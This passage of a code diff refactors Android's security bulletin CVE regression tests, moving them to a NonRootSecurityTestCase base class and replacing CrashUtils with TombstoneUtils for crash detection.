@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2012 extends SecurityTestCase {
+public class CVE_2019_2012 extends NonRootSecurityTestCase {
/**
* b/120497437
@@ -42,10 +43,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2019-2012";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(
new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
index 0ac72b2..caaa463 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2013 extends SecurityTestCase {
+public class CVE_2019_2013 extends NonRootSecurityTestCase {
/**
* b/120497583
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
index e6863ac..0327e038 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2014 extends SecurityTestCase {
+public class CVE_2019_2014 extends NonRootSecurityTestCase {
/**
* b/120499324
@@ -34,9 +37,9 @@
public void testPocCVE_2019_2014() throws Exception {
pocPusher.only64();
String binaryName = "CVE-2019-2014";
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
index 1a798c2..388ac4c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
@@ -18,17 +18,18 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2015 extends SecurityTestCase {
+public class CVE_2019_2015 extends NonRootSecurityTestCase {
/**
* b/120503926
@@ -42,10 +43,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2019-2015";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_t3t_act_handle_check_rsp"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
index b7c2ea8..9a36d861 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -18,17 +18,18 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2017 extends SecurityTestCase {
+public class CVE_2019_2017 extends NonRootSecurityTestCase {
/**
* b/121035711
@@ -42,10 +43,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
String binaryName = "CVE-2019-2017";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_t2t_handle_tlv_detect_rsp"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
index 1c5a180..448611f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2019 extends SecurityTestCase {
+public class CVE_2019_2019 extends NonRootSecurityTestCase {
/**
* b/115635871
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
index b65faee..baf4c63 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -18,17 +18,18 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2020 extends SecurityTestCase {
+public class CVE_2019_2020 extends NonRootSecurityTestCase {
/**
* b/116788646
@@ -42,15 +43,15 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2019-2020";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"llcp_dlc_proc_rx_pdu"));
testConfig.config
.setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
- testConfig.config.checkMinAddress(false);
+ testConfig.config.setIgnoreLowFaultAddress(false);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
index 8d0d4d6..b2fd563 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2021 extends SecurityTestCase {
+public class CVE_2019_2021 extends NonRootSecurityTestCase {
/**
* b/120428041
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
index 057e937..e60f0ba 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2022 extends SecurityTestCase {
+public class CVE_2019_2022 extends NonRootSecurityTestCase {
/**
* b/120506143
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
index df6c6f4..5eafc33 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2027 extends SecurityTestCase {
+public class CVE_2019_2027 extends NonRootSecurityTestCase {
/**
* b/119120561
@@ -33,9 +36,9 @@
@Test
public void testPocCVE_2019_2027() throws Exception {
String binaryName = "CVE-2019-2027";
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.config
.setAbortMessageIncludes(AdbUtils.escapeRegexSpecialChars("ubsan: mul-overflow"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
index 21b2285..2476923 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -18,17 +18,18 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2031 extends SecurityTestCase {
+public class CVE_2019_2031 extends NonRootSecurityTestCase {
/**
* b/120502559
@@ -42,10 +43,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
String binaryName = "CVE-2019-2031";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_t3t_act_handle_check_ndef_rsp"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
index 8757455..a643561 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2035 extends SecurityTestCase {
+public class CVE_2019_2035 extends NonRootSecurityTestCase {
/**
* b/122320256
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
index 4fe0164..46c0eb4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2038 extends SecurityTestCase {
+public class CVE_2019_2038 extends NonRootSecurityTestCase {
/**
* b/121259048
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
index 6390340..f411ae1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2039 extends SecurityTestCase {
+public class CVE_2019_2039 extends NonRootSecurityTestCase {
/**
* b/121260197
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
index 6c6d239..062248a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2040 extends SecurityTestCase {
+public class CVE_2019_2040 extends NonRootSecurityTestCase {
/**
* b/122316913
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
index e36c46f..a3f6307 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2044 extends SecurityTestCase {
+public class CVE_2019_2044 extends NonRootSecurityTestCase {
/**
* b/123701862
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
index 16487a3..ab2517d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2099 extends SecurityTestCase {
+public class CVE_2019_2099 extends NonRootSecurityTestCase {
/**
* b/123583388
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
index 1f3552c..6aee640 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2115 extends SecurityTestCase {
+public class CVE_2019_2115 extends NonRootSecurityTestCase {
/**
* b/129768470
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
index fe06a73..cc9e24d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
@@ -16,15 +16,16 @@
package android.security.cts;
-import com.android.tradefed.device.ITestDevice;
-
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2135 extends SecurityTestCase {
+public class CVE_2019_2135 extends NonRootSecurityTestCase {
/**
* b/125900276
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
index 91b2000..cc50bb7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2136 extends SecurityTestCase {
+public class CVE_2019_2136 extends NonRootSecurityTestCase {
/**
* b/132650049
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
index 223e768..492010b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
@@ -18,12 +18,15 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2178 extends SecurityTestCase {
+public class CVE_2019_2178 extends NonRootSecurityTestCase {
/**
* b/124462242
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
index 31ab4ce..ae8f7ed 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
@@ -18,13 +18,14 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2180 extends SecurityTestCase {
+public class CVE_2019_2180 extends NonRootSecurityTestCase {
/**
* b/110899492
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
index 15fab83..b393d26 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2206 extends SecurityTestCase {
+public class CVE_2019_2206 extends NonRootSecurityTestCase {
/**
* b/139188579
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
index 7ce43c7..1951c67 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2207 extends SecurityTestCase {
+public class CVE_2019_2207 extends NonRootSecurityTestCase {
/**
* b/124524315
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
index dbd7cc8..fe3ff06 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_9247 extends SecurityTestCase {
+public class CVE_2019_9247 extends NonRootSecurityTestCase {
/**
* b/120426166
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
index 58a2449..282a677 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0006 extends SecurityTestCase {
+public class CVE_2020_0006 extends NonRootSecurityTestCase {
/**
* b/139738828
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
index 3aa0474..32a1e6c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
@@ -23,13 +23,13 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0015 extends NonRootSecurityTestCase {
@AppModeFull
@AsbSecurityTest(cveBugId = 139017101)
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
index 1207d1a..5cae196 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
@@ -16,21 +16,25 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
-import java.util.Scanner;
-
-import static org.hamcrest.core.Is.is;
import static org.hamcrest.CoreMatchers.not;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import static org.hamcrest.core.Is.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assume.assumeThat;
import static org.junit.matchers.JUnitMatchers.containsString;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Scanner;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0018 extends SecurityTestCase {
+public class CVE_2020_0018 extends NonRootSecurityTestCase {
/**
* b/139945049
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
index 6689459..cffa74a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -18,17 +18,17 @@
import android.platform.test.annotations.AsbSecurityTest;
